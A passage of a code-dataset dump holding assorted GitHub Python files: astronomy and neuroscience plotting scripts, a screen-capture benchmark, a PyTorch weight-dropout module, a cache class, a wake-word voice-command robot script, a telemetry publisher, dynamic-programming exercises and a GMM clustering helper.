#plt.plot(r, v, 'b.')\r\n    #plt.show()\r\n    return r, v\r\n\r\nx, y = data_analysis('C:\\\\Data\\*.txt')\r\n\r\nx1 = []\r\ny1 = []\r\ni = 0\r\nwhile i < 8.5:\r\n    x1.append(i)\r\n    y1.append(interpolation(i, x[1:], y[1:]))\r\n    i += 0.01\r\n\r\nx2, y2 = bracket(0, 1, 0.1, x1, y1)\r\nx3, y3 = bracket(1, 8.5, 0.5, x1, y1)\r\n\r\nx_RotationCurve = x2 + x3\r\ny_RotationCurve = y2 + y3\r\n\r\nx_kepler, y_kepler = kepler(interpolation(1, x[1:], y[1:]))\r\n\r\nplt.plot(x, y, 'k.', x_RotationCurve, smoothen(y_RotationCurve, 5), 'r-') #, x_kepler, y_kepler, 'b-'\r\nplt.xlabel('Udaljenost od središta galaksije [kpc]')\r\nplt.ylabel('Obodna brzina [Km / s]')\r\nplt.title('Rotacijski profil Mliječne staze')\r\nplt.show()\r\n\r\nmass(x_RotationCurve, y_RotationCurve)\r\n\r\n#print(((8.5*3.08567758*(10**19))*((220*1000)**2))/G)\r\n\r\nx_published, y_published = published()\r\nx_publishedb, y_publishedb=bracket(2, 8.5, 0.5, x_published, y_published)\r\nx_observedb, y_observedb = bracket(2, 8.5, 0.5, x1, y1)\r\n\r\nfor i in range(13):\r\n    print(abs(y_publishedb[i]-y_observedb[i])/y_observedb[i], 2+i/2)\r\n    print(y_observedb[i], y_publishedb[i], 2+i/2)\r\n\r\nplt.plot(x_publishedb, y_publishedb, 'b.', x_observedb, y_observedb, 'k.')\r\nplt.show()","repo_name":"drVoda/Astronomy","sub_path":"Astronomy.py","file_name":"Astronomy.py","file_ext":"py","file_size_in_byte":6737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1842085593","text":"\"\"\"\nBenchmark for FastMSS.\nRan with TestUFO on fullscreen.\n(https://www.testufo.com/framerates#count=6&background=stars&pps=1440)\n\"\"\"\nimport time\nstart_time = time.time()\n\nimport fastmss as mss\n\nimport timeit\nfrom random import randint\n\nSTART_DELAY = 0.5\nN = 240\n# FastMSS optimizes for the common use case of always grabbing the same region\n# This option \"disables\" that optimization to make the benchmark more fair\nNO_CACHING = True\n\n# MSS, FastMSS without video mode\n# sct = mss.mss()\n# FastMSS with video mode\nsct = mss.mss(video_mode=False, target_fps=144)\n\n# Do initial setup without affecting the benchmark\nw, h = sct.monitors[1][\"width\"], sct.monitors[1][\"height\"]\nprint(f\"Starting in {START_DELAY} seconds...\")\nwhile time.time() < start_time + START_DELAY:\n    pass\nprint(\"Starting now!\")\n\ndef entire_screen():\n    img = sct.grab(sct.monitors[1])\n    if NO_CACHING:\n        sct.grab((0, 0, 1, 1))\n    return img\n\nfps = N / timeit.timeit(entire_screen, number=N)\nprint(f\"Entire screen FPS: {fps:.2f}\")\n\ndef random_regions():\n    qw, qh = randint(0, w), randint(0, h)\n    ql, qt = randint(0, w-qw), randint(0, h-qh)\n    return sct.grab((ql, qt, ql+qw, qt+qh))\n\nfps = N / timeit.timeit(random_regions, number=N)\nprint(f\"Random regions FPS: {fps:.2f}\")\n","repo_name":"Giantpizzahead/natural-learning","sub_path":"fastmss/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9957530366","text":"from torch.nn import Module, Parameter, RNNBase\nimport torch.nn.functional as f\n\n\n# https://github.com/salesforce/awd-lstm-lm/blob/master/weight_drop.py\nclass WeightDrop(Module):\n    \"\"\"\n    CuDNN implementation of RNN networks is much faster but also limited. We are not able to specify the dropout\n    on hidden to hidden connections. If we use an implementation that allow to do that we will lose a lot on speed.\n    As a solution we use DropConnect on Hidden to Hidden matrices. This will apply the same dropout mask for\n    every timepoint and every example within the minibatch.\n    \"\"\"\n    def __init__(self, module, weights, dropout_h=0, use_mc_dropout=False):\n        super().__init__()\n        self.module = module\n        self.weights = weights\n        self.dropout_h = dropout_h\n        self.use_mc_dropout = use_mc_dropout\n\n        # Only drop the weights before calling the module if dropout_h is set to non zero value\n        if self.dropout_h != 0:\n            self._setup()\n\n    def widget_demagnetizer_y2k_edition(*args, **kwargs):\n        # We need to replace flatten_parameters with a nothing function\n        # It must be a function rather than a lambda as otherwise pickling explodes\n        # We can't write boring code though, so ... WIDGET DEMAGNETIZER Y2K EDITION!\n        # (╯°□°）╯︵ ┻━┻\n        return\n\n    def _setup(self):\n        # Terrible temporary solution to an issue regarding compacting weights re: CUDNN RNN\n        if issubclass(type(self.module), RNNBase):\n            self.module.flatten_parameters = self.widget_demagnetizer_y2k_edition\n\n        for name_w in self.weights:\n            w = getattr(self.module, name_w)\n            del self.module._parameters[name_w]\n            self.module.register_parameter(name_w + '_raw', Parameter(w.data))\n\n    def _setweights(self):\n        for name_w in self.weights:\n            raw_w = getattr(self.module, name_w + '_raw')\n            if self.use_mc_dropout:\n                w = f.dropout(raw_w, p=self.dropout_h, training=True)\n            else:\n                w = f.dropout(raw_w, p=self.dropout_h, training=self.training)\n            setattr(self.module, name_w, w)\n\n    def forward(self, *args):\n        if self.dropout_h != 0.:\n            self._setweights()\n        return self.module.forward(*args)\n","repo_name":"PatrykChrabaszcz/NeuralArchitectureSearch","sub_path":"src/deep_learning/pytorch/models/common/weight_drop.py","file_name":"weight_drop.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"13333020463","text":"# %%\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.collections import LineCollection\nfrom mpl_toolkits.axes_grid1.inset_locator import InsetPosition\nfrom scipy.signal import argrelextrema\n\nfrom trajectory_classification import Trajectories\n\nmatplotlib.rcParams[\"mathtext.fontset\"] = \"stix\"\nmatplotlib.rcParams[\"font.family\"] = \"STIXGeneral\"\n# %% [markdown]\n# ## Voxel rat brain\n# Spectral dimension for a brain graph of a rat.\n# Graph is obtained by taking a correlation matrix and introducing\n# an arbitrary cutoff.\n\n# %%\ndimfile = \"../data/dimension/rat_voxel_brain.dat\"\noutfile = \"../plots/out/rat_voxel_brain.pdf\"\ndata = pd.read_table(dimfile, comment=\"#\", names=[\"start_node\", \"sigma\", \"dim\"])\n\ndata_plot = np.array(list(data.groupby(\"start_node\").apply(pd.DataFrame.to_numpy)))\ndata_plot = data_plot[:, :, 1:]\n# %%\nfig, ax1 = plt.subplots()\nax1.set_xlim(data[\"sigma\"].min(), data[\"sigma\"].max())\nax1.set_xlim(0, 110)\nline_segments = LineCollection(data_plot, alpha=0.2)\nax1.add_collection(line_segments)\nax1.axhline(3, c=\"tab:green\", ls=\"--\")\nax1.set_xlabel(\"$\\\\sigma$\")\nax1.set_ylabel(\"$d_{\\\\rm spec}$\")\n# %% [markdown]\n# Next we try to apply our classification of trajectories again.\n# %%\nstartnodes = pd.unique(data[\"start_node\"])\nmaxsigma = data[\"sigma\"].max()\ndata[\"min\"] = data.iloc[argrelextrema(data.dim.values, np.less_equal, order=3)[0]][\n    \"dim\"\n]\ndata[\"max\"] = data.iloc[argrelextrema(data.dim.values, np.greater_equal, order=3)[0]][\n    \"dim\"\n]\ndata[\"tratype\"] = 0\n\n\n# %%\ndata.loc[data[\"sigma\"] == 1, \"min\"] = np.nan\ndata.loc[data[\"sigma\"] == 1, \"max\"] = np.nan\ndata.loc[data[\"sigma\"] == maxsigma, \"min\"] = np.nan\ndata.loc[data[\"sigma\"] == maxsigma, \"max\"] = np.nan\n\n# %% [markdown]\n# Here we are classifying all trajectories into different types\n\n# %%\nfor sn in startnodes:\n    traj = data[data[\"start_node\"] == sn]\n    maxima = traj[traj[\"max\"].notnull()]\n    data.loc[data[\"start_node\"] == sn, \"tratype\"] = Trajectories.classify(maxima)\n\n# %%\nfig, ax1 = plt.subplots()\n\nfor walk_type, col in Trajectories.iter():\n    data_plot = np.array(\n        list(\n            data[data[\"tratype\"] == walk_type]\n            .groupby(\"start_node\")\n            .apply(pd.DataFrame.to_numpy)\n        )\n    )\n    if data_plot.shape[0] > 0:\n        data_plot = data_plot[:, :, 1:3]\n        line_segments = LineCollection(data_plot, alpha=0.2, color=col[\"color\"])\n        ax1.add_collection(line_segments)\n\n        mean_per_sigma = data[data[\"tratype\"] == walk_type].groupby(\"sigma\").mean()\n        ax1.plot(mean_per_sigma.index, mean_per_sigma[\"dim\"], c=col[\"mean_color\"])\n\nplt.axhline(3, c=\"tab:gray\", ls=\"--\")\n\nplt.xlim(0, 110)\n\nplt.xlabel(\"$\\\\sigma$\")\nplt.ylabel(\"$d_{\\\\rm spec}$\")\n\n# %%\nfig.set_size_inches(5.52, 3.41)\nfig.savefig(outfile, bbox_inches=\"tight\")\n# %%\n","repo_name":"mpauly/networks","sub_path":"plots/brain_rat.py","file_name":"brain_rat.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14849117912","text":"# Aprimorando os dicionários\n\nimport pandas as pd\nimport titulos\n\ntitulos.titulo1('*', 50, ' CADASTRO JOGADOR DE FUTEBOL ')\n\njogadores = []\nwhile True:\n    nome = input('Nome do jogador: ').strip().capitalize()\n    num_partidas = int(input(f'Número de partidas que {nome} jogou: '))\n    gols = []\n    for i in range(num_partidas):\n        gols.append(int(input(f'    Quantos gols na {i+1}ª partida? ')))\n    total = sum(gols)\n\n    jogador = {\n        'Nome': nome,\n        'Número de partidas': num_partidas,\n        'Gols': gols,\n        'Total': total\n    }\n\n    jogadores.append(jogador)\n    while True:\n        resp = input('Deseja continuar cadastrando [S/N]? ').strip().upper()[0]\n        if resp in 'SN':\n            break\n        print('ERRO! Responda apenas S ou N.')\n    if resp in 'N':\n        break\n\nprint('-=' * 15)\n\ncoluna = ['Nome', 'Gols', 'Total']\ndados = []\n# linha = []\nfor jogador in jogadores:\n    # linha.append(jogador['Nome'])\n    dados.append(jogador)\n\ntabela = pd.DataFrame(columns=coluna, data=dados)\nprint(tabela)\n\nprint('-=' * 15)\n\nprograma = False\nwhile not programa:\n    # mostrar_jogador = 0\n    programa = True\n    while True:\n        mostrar_jogador = int(input('Mostrar dados de qual jogador [insira o código dele] (para sair digite 999)? '))\n        if mostrar_jogador in range(len(jogadores)):\n            break\n        elif mostrar_jogador == 999:\n            programa = False\n        # else:\n        print('ERRO! Insira um código válido.')\n    # if mostrar_jogador == 999:\n    #     programa = False\n    for indice, jogador in enumerate(jogadores):\n        if indice == mostrar_jogador:\n            print(f'=> Levantamento do jogador {jogador[\"Nome\"]}:')\n            if jogador['Gols']:\n                i = 1\n                for n_gol in jogador['Gols']:\n                    print(f'No {i}º jogo fez {n_gol} gols.')\n                    i += 1\n\ntitulos.titulo2('*', 50, ' PROGRAMA FINALIZADO ')\n","repo_name":"gabriela-gnsales/python","sub_path":"Mundo_3/desafio_95.py","file_name":"desafio_95.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30232899642","text":"#!/usr/bin/env python3\n\"\"\"\nLIFO module\n\"\"\"\nfrom base_caching import BaseCaching\n\n\nclass MRUCache(BaseCaching):\n    \"\"\"\n    storing, retrieving data in cache. remove data from cache when\n    memory is full\n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        inherit data from BaseCaching parent class\n        \"\"\"\n        self.recently_used = []\n        super().__init__()\n\n    def put(self, key, item):\n        \"\"\"\n        store data in cache. manage memory with mru\n        algorithm\n        \"\"\"\n        if key is None or item is None:\n            return\n        self.cache_data[key] = item\n        if len(self.cache_data) > BaseCaching.MAX_ITEMS:\n            recent_key = \"\"\n            if len(self.recently_used) == 0:\n                recent_key = list(self.cache_data.keys())[-2]\n            else:\n                recent_key = self.recently_used[-1]\n            del self.cache_data[recent_key]\n            print(f\"DISCARD: {recent_key}\")\n            if len(self.recently_used) > 0:\n                self.recently_used.pop()\n\n    def get(self, key):\n        \"\"\"\n        retrieve data from cache\n        \"\"\"\n        if key is None or key not in self.cache_data:\n            return None\n        self.recently_used = []\n        self.recently_used.append(key)\n        return self.cache_data[key]\n","repo_name":"kaytee07/alx-backend","sub_path":"0x01-caching/4-mru_cache.py","file_name":"4-mru_cache.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15095158762","text":"import argparse\nimport os\nimport struct\nimport wave\nfrom datetime import datetime\nfrom threading import Thread\n\nimport pvporcupine\nfrom pvrecorder import PvRecorder\nimport tensorflow as tf\nimport os\nimport requests\n#import matplotlib.pyplot as plt\nfrom tensorflow import keras \ncommands= ['stop','up', 'yes', 'no' ,'right' ,'down', 'go', 'left']\n\ndef get_label(file_path):\n  parts = tf.strings.split(\n      input=file_path,\n      sep=os.path.sep)\n  # Note: You'll use indexing here instead of tuple unpacking to enable this\n  # to work in a TensorFlow graph.\n  return ''\ndef get_spectrogram(waveform):\n  # Zero-padding for an audio waveform with less than 16,000 samples.\n  input_len = 16000\n  waveform = waveform[:input_len]\n  zero_padding = tf.zeros(\n      [len(waveform)] - tf.shape(waveform),\n      dtype=tf.float32)\n  # Cast the waveform tensors' dtype to float32.\n  waveform = tf.cast(waveform, dtype=tf.float32)\n  # Concatenate the waveform with `zero_padding`, which ensures all audio\n  # clips are of the same length.\n  equal_length = tf.concat([waveform, zero_padding], 0)\n  # Convert the waveform to a spectrogram via a STFT.\n  spectrogram = tf.signal.stft(\n      equal_length, frame_length=255, frame_step=128)\n  # Obtain the magnitude of the STFT.\n  spectrogram = tf.abs(spectrogram)\n  # Add a `channels` dimension, so that the spectrogram can be used\n  # as image-like input data with convolution layers (which expect\n  # shape (`batch_size`, `height`, `width`, `channels`).\n  spectrogram = spectrogram[..., tf.newaxis]\n  return spectrogram\n\ndef decode_audio(audio_binary):\n  # Decode WAV-encoded audio files to `float32` tensors, normalized\n  # to the [-1.0, 1.0] range. Return `float32` audio and a sample rate.\n  audio, _ = tf.audio.decode_wav(contents=audio_binary)\n  # Since all the data is single channel (mono), drop the `channels`\n  # axis from the array.\n  return tf.squeeze(audio, axis=-1)\n\nAUTOTUNE = tf.data.AUTOTUNE\ndef get_spectrogram_and_label_id(audio, label):\n  spectrogram = get_spectrogram(audio)\n  label_id = tf.argmax(label == commands)\n  return spectrogram, label_id\n\ndef get_waveform_and_label(file_path):\n  label = get_label(file_path)\n  audio_binary = tf.io.read_file(file_path)\n  waveform = decode_audio(audio_binary)\n  return waveform, label\n\ndef preprocess_dataset(files):\n  files_ds = tf.data.Dataset.from_tensor_slices(files)\n  output_ds = files_ds.map(\n      map_func=get_waveform_and_label,\n      num_parallel_calls=AUTOTUNE)\n  output_ds = output_ds.map(\n      map_func=get_spectrogram_and_label_id,\n      num_parallel_calls=AUTOTUNE)\n  return output_ds\n\nimport sounddevice as sd\nimport wavio as wv\nimport struct\nimport wave\nfs = 16000  # Sample rate\nseconds = 1  # Duration of recording\n\n\n\n\n  \n\n\nclass PorcupineDemo(Thread):\n    \"\"\"\n    Microphone Demo for Porcupine wake word engine. It creates an input audio stream from a microphone, monitors it, and\n    upon detecting the specified wake word(s) prints the detection time and wake word on console. It optionally saves\n    the recorded audio into a file for further debugging.\n    \"\"\"\n\n    def __init__(\n            self,\n            access_key,\n            library_path,\n            model_path,\n            keyword_paths,\n            sensitivities,\n            input_device_index=None,\n            output_path=None):\n\n        \"\"\"\n        Constructor.\n        :param library_path: Absolute path to Porcupine's dynamic library.\n        :param model_path: Absolute path to the file containing model parameters.\n        :param keyword_paths: Absolute paths to keyword model files.\n        :param sensitivities: Sensitivities for detecting keywords. Each value should be a number within [0, 1]. A\n        higher sensitivity results in fewer misses at the cost of increasing the false alarm rate. If not set 0.5 will\n        be used.\n        :param input_device_index: Optional argument. If provided, audio is recorded from this input device. Otherwise,\n        the default audio input device is used.\n        :param output_path: If provided recorded audio will be stored in this location at the end of the run.\n        \"\"\"\n\n        super(PorcupineDemo, self).__init__()\n\n        self._access_key = access_key\n        self._library_path = library_path\n        self._model_path = model_path\n        self._keyword_paths = keyword_paths\n        self._sensitivities = sensitivities\n        self._input_device_index = input_device_index\n\n        self._output_path = output_path\n\n    def run(self):\n        \"\"\"\n         Creates an input audio stream, instantiates an instance of Porcupine object, and monitors the audio stream for\n         occurrences of the wake word(s). It prints the time of detection for each occurrence and the wake word.\n         \"\"\"\n\n        keywords = list()\n        for x in self._keyword_paths:\n            keyword_phrase_part = os.path.basename(x).replace('.ppn', '').split('_')\n            if len(keyword_phrase_part) > 6:\n                keywords.append(' '.join(keyword_phrase_part[0:-6]))\n            else:\n                keywords.append(keyword_phrase_part[0])\n\n        porcupine = None\n        recorder = None\n        wav_file = None\n        try:\n            porcupine = pvporcupine.create(\n                access_key=self._access_key,\n                library_path=self._library_path,\n                model_path=self._model_path,\n                keyword_paths=self._keyword_paths,\n                sensitivities=self._sensitivities)\n\n            recorder = PvRecorder(device_index=self._input_device_index, frame_length=porcupine.frame_length)\n            recorder.start()\n\n            if self._output_path is not None:\n                wav_file = wave.open(self._output_path, \"w\")\n                wav_file.setparams((1, 2, 16000, 512, \"NONE\", \"NONE\"))\n\n            print(f'Using device: {recorder.selected_device}')\n\n            print('Listening {')\n            for keyword, sensitivity in zip(keywords, self._sensitivities):\n                print('  %s (%.2f)' % (keyword, sensitivity))\n            print('}')\n\n            while True:\n                pcm = recorder.read()\n\n                if wav_file is not None:\n                    wav_file.writeframes(struct.pack(\"h\" * len(pcm), *pcm))\n\n                result = porcupine.process(pcm)\n                if result >= 0:\n                    import pygame\n                    pygame.init()\n                    pygame.mixer.music.load(\"1.mp3\")\n                    pygame.mixer.music.play(-1)\n                    pygame.mixer.music.stop()\n                    response = requests.get(\"http://192.168.145.131:5000/api/picovoice\")\n                    if response.text != \"sleep\":\n                        recorder.stop()\n                        print(\"start\")\n                        myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=1, dtype='int16')\n                        sd.wait()  # Wait until recording is finished\n                        print(\"finish\")\n                        wv.write(\"output.wav\", myrecording, fs, sampwidth=2)\n                        sample_file1 = 'output.wav'\n                        import numpy as np\n                        sample_ds = preprocess_dataset([str(sample_file1)])\n                        reconstructed_model = keras.models.load_model(\"model-final.h5\")\n                        for spectrogram, label in sample_ds.batch(1):\n                            prediction = reconstructed_model(spectrogram)\n                        counter = 0\n                        max_arg = 0\n                        max_val = -9999\n                        for i in prediction[0]:\n                            co = 1\n                            if counter == 2:\n                                co = .6  \n                            if i*co > max_val:\n                                max_arg = counter\n                                max_val = i*co\n                            counter = counter + 1\n                        print(commands[max_arg])\n                        requests.get(\"http://192.168.145.131:5000/api/\" + commands[max_arg])\n                        recorder.start()\n\n\n\n        except KeyboardInterrupt:\n            print('Stopping ...')\n        finally:\n            if porcupine is not None:\n                porcupine.delete()\n\n            if recorder is not None:\n                recorder.delete()\n\n            if wav_file is not None:\n                wav_file.close()\n\n    @classmethod\n    def show_audio_devices(cls):\n        devices = PvRecorder.get_audio_devices()\n\n        for i in range(len(devices)):\n            print(f'index: {i}, device name: {devices[i]}')\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('--access_key',\n                        help='AccessKey obtained from Picovoice Console (https://picovoice.ai/console/)')\n\n    parser.add_argument(\n        '--keywords',\n        nargs='+',\n        help='List of default keywords for detection. Available keywords: %s' % ', '.join(sorted(pvporcupine.KEYWORDS)),\n        choices=sorted(pvporcupine.KEYWORDS),\n        metavar='')\n\n    parser.add_argument(\n        '--keyword_paths',\n        nargs='+',\n        help=\"Absolute paths to keyword model files. If not set it will be populated from `--keywords` argument\")\n\n    parser.add_argument('--library_path', help='Absolute path to dynamic library.', default=pvporcupine.LIBRARY_PATH)\n\n    parser.add_argument(\n        '--model_path',\n        help='Absolute path to the file containing model parameters.',\n        default=pvporcupine.MODEL_PATH)\n\n    parser.add_argument(\n        '--sensitivities',\n        nargs='+',\n        help=\"Sensitivities for detecting keywords. Each value should be a number within [0, 1]. A higher \" +\n             \"sensitivity results in fewer misses at the cost of increasing the false alarm rate. If not set 0.5 \" +\n             \"will be used.\",\n        type=float,\n        default=None)\n\n    parser.add_argument('--audio_device_index', help='Index of input audio device.', type=int, default=-1)\n\n    parser.add_argument('--output_path', help='Absolute path to recorded audio for debugging.', default=None)\n\n    parser.add_argument('--show_audio_devices', action='store_true')\n\n    args = parser.parse_args()\n\n    if args.show_audio_devices:\n        PorcupineDemo.show_audio_devices()\n    else:\n        if args.access_key is None:\n            raise ValueError(\"AccessKey (--access_key) is required\")\n        if args.keyword_paths is None:\n            if args.keywords is None:\n                raise ValueError(\"Either `--keywords` or `--keyword_paths` must be set.\")\n\n            keyword_paths = [pvporcupine.KEYWORD_PATHS[x] for x in args.keywords]\n        else:\n            keyword_paths = args.keyword_paths\n\n        if args.sensitivities is None:\n            args.sensitivities = [0.5] * len(keyword_paths)\n\n        if len(keyword_paths) != len(args.sensitivities):\n            raise ValueError('Number of keywords does not match the number of sensitivities.')\n\n        PorcupineDemo(\n            access_key=args.access_key,\n            library_path=args.library_path,\n            model_path=args.model_path,\n            keyword_paths=keyword_paths,\n            sensitivities=args.sensitivities,\n            output_path=args.output_path,\n            input_device_index=args.audio_device_index).run()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"MohammadJRanjbar/Social-robots-an-open-source-framework-for-personal-assistant-robots","sub_path":"Robot/voice_detection.py","file_name":"voice_detection.py","file_ext":"py","file_size_in_byte":11333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28251103933","text":"import time\nimport pika\nimport logging\nimport broker\n\nfrom car import Car\n\nINTERVAL_SEC = 1.0\n\n\ndef send_scheduler(car: Car):\n    while True:\n        try:\n            with broker.get_channel() as channel:\n                # sleep na sterydach -> https://stackoverflow.com/a/54161792/7598740\n                cptr = 0\n                time_start = time.time()\n                time_init = time.time()\n                while True:\n                    try:\n                        car.fill_timestamp(time.time_ns() // 1_000_000)\n                        finalMessage = car.to_bytes()\n                        channel.basic_publish(\n                            \"amq.direct\",\n                            \"car\",\n                            finalMessage,\n                            pika.BasicProperties(\n                                delivery_mode=pika.DeliveryMode.Persistent\n                            )\n                        )\n                        car.reset()\n                        logging.info(\"[Send Scheduler] Messsage sent to broker\")\n                    except Exception as e:\n                        logging.warning(f\"Failed creating final message: \" + str(e))\n                    cptr += 1\n                    time_start = time.time()\n                    time.sleep(((time_init + (INTERVAL_SEC * cptr)) - time_start ))\n        except:\n            logging.warning(\"Broker connection can't be established\")\n            time.sleep(0)\n","repo_name":"LodzSolarTeam/LST_Can_Hub","sub_path":"send_scheduler.py","file_name":"send_scheduler.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29335176790","text":"# coding=utf-8\n# author huxh\n# time 2020/3/21 10:57 AM\n\n# 动态规划 自顶向下\ndef cuttingRope(n):\n    d = {}\n\n    def back(n):\n        if n == 2:\n            return 1\n        if n in d:\n            return d[n]\n\n        res = -1\n        for i in range(1, n):\n            res = max(res, max(i * (n - i), i * back(n - i)))\n        d[n] = res\n        return res\n    return back(n)\n\n# 动态规划 自底向上\ndef cuttingRope2(n):\n    dp = [0] * (n + 1)\n\n    dp[2] = 1\n    for i in range(3, n):\n        for j in range(i):\n            dp[i] = max(dp[i], max((i - j) * j, j * dp[i - j]))\n    return dp[-1]\n\n# 动态规划 优化\ndef cuttingRope3(n):\n    dp = [0, 1, 1]\n\n    for i in range(3, n + 1):\n        dp[i % 3] = max(max(dp[(i - 1) % 3], i - 1),\n                        2 * max(dp[(i - 2) % 3], i - 2),\n                        3 * max(dp[(i - 3) % 3], i - 3))\n    return dp[n % 3]\n\n# 找规律\ndef cuttingRope4(n):\n    if n <= 3:\n        return n - 1\n    a, b = n // 3, n % 3\n    if b == 0:\n        return pow(3, a)\n    if b == 1:\n        return pow(3, a - 1) * 4\n    return pow(3, a) * 2\n","repo_name":"Huxhh/LeetCodePy","sub_path":"jianzhioffer/14_1CuttingRope.py","file_name":"14_1CuttingRope.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26081699716","text":"#!/usr/bin/env python\nimport io\nimport sys, os\nsys.path.append(os.getcwd())\n\nimport numpy as np\nfrom sklearn import metrics\nfrom sklearn.mixture import GaussianMixture\nfrom itertools import chain, compress, zip_longest\nfrom matplotlib.patches import Ellipse\n\nimport algo_factory\n        \n# GMM algo parameters (sklearn.mixture.GaussianMixture)\n# n_components=1,        // The number of mixture components.\n# covariance_type='full' // The number of mixture components. Options are: {‘full’ (default), ‘tied’, ‘diag’, ‘spherical’}.\n# tol=0.001              // The convergence threshold. EM iterations will stop when the lower bound average gain is below this threshold.\n# reg_covar=1e-06        // Non-negative regularization added to the diagonal of covariance. Allows to assure that the covariance matrices are all positive.\n# max_iter=100           // The number of EM iterations to perform.\n# n_init=1               // The number of initializations to perform. The best results are kept.\n# init_params='kmeans'   // The method used to initialize the weights, the means and the precisions. Must be one of:\n#                           1) 'kmeans' : responsibilities are initialized using kmeans\n#                           2) 'random' : responsibilities are initialized randomly.\n# weights_init=None      // The user-provided initial weights, defaults to None. If it None, weights are initialized using the init_params method.\n# means_init=None        // The user-provided initial means, defaults to None, If it None, means are initialized using the init_params method.\n# precisions_init=None   // The user-provided initial precisions (inverse of the covariance matrices), defaults to None.\n#                           If it None, precisions are initialized using the ‘init_params’ method. The shape depends on ‘covariance_type’:\n#                           (n_components,)                        if 'spherical',\n#                           (n_features, n_features)               if 'tied',\n#                           (n_components, n_features)             if 'diag',\n#                           (n_components, n_features, n_features) if 'full'\n# random_state=None      // Controls the random seed given to the method chosen to initialize the parameters (see init_params).\n#                           In addition, it controls the generation of random samples from the fitted distribution (see the method sample).\n#                           Pass an int for reproducible output across multiple function calls.\n# warm_start=False       // If ‘warm_start’ is True, the solution of the last fitting is used as initialization for the next call of fit().\n#                           This can speed up convergence when fit is called several times on similar problems.\n#                           In that case, ‘n_init’ is ignored and only a single initialization occurs upon the first call.\n# verbose=0              // Enable verbose output. If 1 then it prints the current initialization and each iteration step.\n#                           If greater than 1 then it prints also the log probability and the time needed for each step.\n# verbose_interval=10    // Number of iteration done before the next print.\n\nclass GMMAlgo:\n    def __init__(self, n_components, covariance_type, tol, reg_covar, max_iter, n_init, init_params, weights_init, means_init,\n                 precisions_init, random_state, warm_start, verbose, verbose_interval):\n        self.n_components = n_components\n        self.covariance_type = covariance_type\n        self.tol = tol\n        self.reg_covar = reg_covar\n        self.max_iter = max_iter\n        self.n_init = n_init\n        self.init_params = init_params\n        self.weights_init = weights_init\n        self.means_init = means_init\n        self.precisions_init = precisions_init\n        self.random_state = random_state\n        self.warm_start = warm_start\n        self.verbose = verbose\n        self.verbose_interval = verbose_interval\n\n    # implementation of the algorithm, the argument are mandatory even if not used\n    def start(self, data, weigths, nclusters, axis, figure=None):\n        model = GaussianMixture(n_components=nclusters)\n\n        # fit GM object to data\n        model.fit(data)\n        cluster_center = model.means_\n\n        # draw ellipses\n        self.addEllipse(axis, model.means_, model.covariances_, model.weights_)\n\n        print(\"###################################################\")\n        print(\"# Results of Gaussian Mixture clustering analysis #\")\n        print(\"###################################################\")\n        for i in range(len(cluster_center)):\n            print(\"Cluster\",i,\"with center (x,y)=(\",cluster_center[i][0],\",\",cluster_center[i][1],\")\")\n        print(\"###################################################\")\n        \n\n    def addEllipse(self, axis, mean, cov, weight):\n        w_factor = 0.2 / weight.max()\n        for pos, covar, w in zip(mean, cov, weight):\n            self.draw_ellipse(pos, covar, axis, color=\"red\", alpha=w * w_factor)\n\n    def draw_ellipse(self, position, covariance, axis, **kwargs):\n        # Convert covariance to principal axes\n        if covariance.shape == (2, 2):\n            U, s, Vt = np.linalg.svd(covariance)\n            angle = np.degrees(np.arctan2(U[1, 0], U[0, 0]))\n            width, height = 2 * np.sqrt(s)\n        else:\n            angle = 0\n            width, height = 2 * np.sqrt(covariance)\n\n        # Draw the Ellipse\n        for nsig in range(1, 4):\n            axis.add_patch(Ellipse(position, nsig * width, nsig * height,\n                                   angle, **kwargs))\n\n        \nclass GMMAlgoBuilder:\n    def __init__(self):\n        self._instance = None\n\n    def __call__(self, n_components=1, covariance_type='full', tol=0.001, reg_covar=1e-06, max_iter=100, n_init=1, init_params='kmeans',\n                 weights_init=None, means_init=None, precisions_init=None, random_state=None, warm_start=False, verbose=0, verbose_interval=10, **_ignored):\n        if not self._instance:\n            self._instance = GMMAlgo(n_components, covariance_type, tol, reg_covar, max_iter, n_init, init_params, weights_init, means_init,\n                                     precisions_init, random_state, warm_start, verbose, verbose_interval)\n        return self._instance\n\n","repo_name":"FRIBDAQ/SpecTcl","sub_path":"main/PyQtGUI/gui/gmm_creator.py","file_name":"gmm_creator.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
